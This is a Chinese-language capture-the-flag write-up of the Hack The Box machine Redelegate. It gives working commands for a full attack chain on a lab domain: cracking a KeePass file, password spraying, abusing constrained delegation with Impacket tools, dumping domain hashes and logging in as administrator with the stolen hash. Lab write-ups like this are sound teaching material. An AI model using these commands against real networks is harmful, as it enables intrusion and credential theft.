HTB Redelegate:从FTP到域控提权的完整渗透路径

本文详细记录了从匿名FTP访问开始,通过破解KeePass数据库、MSSQL用户枚举、密码喷洒获取初始立足点,最终利用SeEnableDelegationPrivilege配置约束委派实现域控提权的完整渗透测试过程。

初始扫描

nmap扫描显示多个开放端口,包括FTP(21)、HTTP(80)、SMB(445)、MSSQL(1433)等。域名为redelegate.vl,主机名为DC。

1
nmap -p- -vvv --min-rate 10000 10.129.234.50

FTP枚举

匿名登录FTP服务器发现三个文件:

  • CyberAudit.txt:安全审计报告
  • TrainingAgenda.txt:培训议程
  • Shared.kdbx:KeePass数据库

KeePass破解

使用keepass2john提取哈希,根据培训议程提示创建季节密码字典,用hashcat破解:

1
hashcat -m 13400 Shared.kdbx.hash seasons

密码为Fall2024!,导出数据库获得多组凭据。

MSSQL访问

使用SQLGuest凭据连接MSSQL,通过SUSER_SNAME函数枚举域用户:

1
select SUSER_SNAME(0x<SID>);

发现多个域账户,包括Marie.Curie、Helen.Frost等。

密码喷洒

使用季节密码对枚举出的用户进行密码喷洒:

1
netexec smb dc.redelegate.vl -u users -p seasons

成功以Marie.Curie:Fall2024!认证。

权限提升

Marie.Curie属于Helpdesk组,具有重置其他用户密码的权限。重置Helen.Frost密码后通过WinRM获得shell。

委派滥用

Helen.Frost具有SeEnableDelegationPrivilege权限,配置FS01计算机的约束委派:

1
2
Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True
Set-ADObject -Identity "CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL" -Add @{"msDS-AllowedToDelegateTo"="ldap/dc.redelegate.vl"}

域控提权

使用getST.py获取LDAP服务票据,通过secretsdump.py导出域哈希,最终以Administrator身份获得域控权限。

1
2
3
getST.py 'redelegate.vl/FS01$:Password123' -spn ldap/dc.redelegate.vl -impersonate dc
secretsdump.py -k -no-pass dc.redelegate.vl
wmiexec.py redelegate.vl/administrator@dc.redelegate.vl -hashes <hash>
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计